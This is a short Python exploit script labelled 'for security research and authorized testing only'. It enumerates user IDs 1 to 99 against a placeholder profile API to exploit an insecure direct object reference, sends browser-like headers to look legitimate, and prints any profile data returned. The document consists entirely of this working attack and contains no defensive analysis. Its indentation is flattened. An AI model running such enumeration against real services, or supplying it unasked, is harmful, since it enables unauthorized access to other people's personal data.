The following code is for security research and authorized testing only.
python
import requests
# Target endpoint (Example based on vulnerability description)
target_url = "https://target-api.com/api/v1/user/profile"
# Headers to mimic a legitimate request
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Accept": "application/json",
"Content-Type": "application/json"
}
# Exploit: Iterate through user IDs to pivot to other profiles
# Assuming the API takes an 'id' parameter in the query or body
for user_id in range(1, 100):
params = {
"id": user_id
}
try:
response = requests.get(target_url, headers=headers, params=params, timeout=5)
if response.status_code == 200:
print(f"[+] Successfully accessed User ID: {user_id}")
print(f"Data: {response.text}")
elif response.status_code == 403 or response.status_code == 401:
print(f"[-] Access denied for User ID: {user_id}")
except Exception as e:
print(f"[!] Error connecting to server: {e}")
break